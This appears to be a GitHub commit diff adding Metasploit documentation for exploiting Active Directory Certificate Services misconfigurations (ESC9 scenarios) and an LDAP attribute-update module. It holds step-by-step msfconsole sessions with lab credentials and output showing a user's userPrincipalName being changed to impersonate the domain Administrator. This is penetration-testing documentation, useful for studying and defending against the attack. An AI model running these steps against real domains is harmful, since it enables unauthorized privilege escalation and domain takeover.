You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
972
+
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
973
+
974
+
975
+
## CT_FLAG_NO_SECURITY_EXTENSION
976
+
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
977
+
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
978
+
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
979
+
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
980
+
981
+
982
+
## Changing userPrincipalName vs dNSHostName
983
+
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
984
+
attribute, only machine accounts do.
985
+
986
+
# Exploiting ESC9
987
+
988
+
## ESC9 Scenario 1
989
+
Pre-requisites:
990
+
-`StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but techincally you're exploiting ESC10 in that case)
991
+
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
992
+
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
993
+
- The same vulnerable template has a client authentication EKU
994
+
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
995
+
996
+
```
997
+
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
1004
+
[*] Notes:
1005
+
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In
1017
+
our case it is so we can proceed with exploitation.
1018
+
1019
+
We will set a number of datastore options in order to exploit ESC9
1020
+
in this scenario. We will set `RHOSTS``CERT_TEMPLATE``CA` as we normally would. `SMBUser`, `SMBPass` and `SMBDomain`
1021
+
are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. In order to update the UPN of the
1022
+
target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword` and `LDAPDomain` are
1023
+
available however if they are left blank the SMB credentials will be use - note `LDAPRport` must be set in order to
1024
+
connect however it defaults to 389.
1025
+
1026
+
The option `UPDATE_ESC9_ESC10_OBJECT` is an enum that can be set to either `userPrincipalName` or `dNSHostName` and must be set in order to instruct the module to attempt to exploit ESC9 or ESC10.
1027
+
We will set `UPDATE_ESC9_ESC10_OBJECT` to `userPrincipalName` in this case and so we then must set `ALT_UPN` to `[email protected]` and `NEW_VALUE` to `Administrator`.
1028
+
1029
+
`NEW_VALUE` will be the updated value of either the `userPrincipalName` or `dNSHostName` attribute. It's important when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with other UPNs in the domain, which by default all contain the suffix.
1030
+
The UPN processing order will still allow the DC to map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
1031
+
1032
+
It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the `TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work.
1033
+
This is done automatically by the module.
1034
+
1035
+
In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete.
1036
+
1037
+
```
1038
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set rhosts 172.16.199.200
1039
+
rhosts => 172.16.199.200
1040
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA kerberos-DC2-CA
1041
+
CA => kerberos-DC2-CA
1042
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC9-Template
1043
+
CERT_TEMPLATE => ESC9-Template
1044
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
1045
+
smbuser => user1
1046
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
1047
+
smbpass => N0tpassword!
1048
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
1049
+
smbdomain => kerberos.issue
1050
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set target_username "user2"
1051
+
target_username => user2
1052
+
msf6 auxiliary(admin/dcerpc/icpr_cert) >
1053
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set UPDATE_ESC9_ESC10_OBJECT userPrincipalName
1054
+
UPDATE_ESC9_ESC10_OBJECT => userPrincipalName
1055
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set new_value Administrator
1056
+
new_value => Administrator
1057
+
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn [email protected]
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
1082
+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
1083
+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
1084
+
[*] Auxiliary module execution completed
1085
+
```
1086
+
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
1087
+
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
1088
+
1089
+
1090
+
## ESC9 Scenario 2
1091
+
Pre-requisites:
1092
+
-`StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but techincally you're exploiting ESC10 in that case)
1093
+
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
1094
+
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Only difference between pre-requisites in scenario 1 and 2)
1095
+
- The same vulnerable template has a client authentication EKU
1096
+
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
1097
+
1098
+
The option `UPDATE_ESC9_ESC10_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test1$`
1099
+
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account.
1100
+
So `NEW_VALUE` as well as `ALT_DNS` will be set to `DC2.kerberos.issue`.
1101
+
1102
+
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
1103
+
1104
+
1105
+
924
1106
# Exploiting ESC13
925
1107
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
926
1108
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.
39
+
40
+
### ATTRIBUTE
41
+
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.
42
+
43
+
### NEW_VALUE
44
+
The new value to assign to the specified attribute. For example, if updating the `userPrincipalName`, this would be the new UPN value, which might be `Administrator`
45
+
46
+
## Scenarios
47
+
### Update the userPrincipalName of user2 from "user2" to "Administrator" using user1's credentials (who has Write privileges over user2).
48
+
49
+
```
50
+
msf6 auxiliary(gather/ldap_update_object) > set attribute userPrincipalName
51
+
attribute => userPrincipalName
52
+
msf6 auxiliary(gather/ldap_update_object) > set ldapdomain kerberos.issue
53
+
ldapdomain => kerberos.issue
54
+
msf6 auxiliary(gather/ldap_update_object) > set ldappassword N0tpassword!
55
+
ldappassword => N0tpassword!
56
+
msf6 auxiliary(gather/ldap_update_object) > set ldapusername user1
57
+
ldapusername => user1
58
+
msf6 auxiliary(gather/ldap_update_object) > set new_value Administrator
59
+
new_value => Administrator
60
+
msf6 auxiliary(gather/ldap_update_object) > set rhosts 172.16.199.200
61
+
rhosts => 172.16.199.200
62
+
msf6 auxiliary(gather/ldap_update_object) > set target_username user2
63
+
target_username => user2
64
+
msf6 auxiliary(gather/ldap_update_object) > run
65
+
[*] Running module against 172.16.199.200
66
+
[*] Connecting to LDAP on 172.16.199.200:389...
67
+
[*] Searching for DN of target user user2...
68
+
[+] Found target user DN: CN=user2,CN=Users,DC=kerberos,DC=issue
69
+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
70
+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
71
+
[*] Auxiliary module execution completed
72
+
```
73
+
74
+
## Notes
75
+
76
+
- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
77
+
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
0 commit comments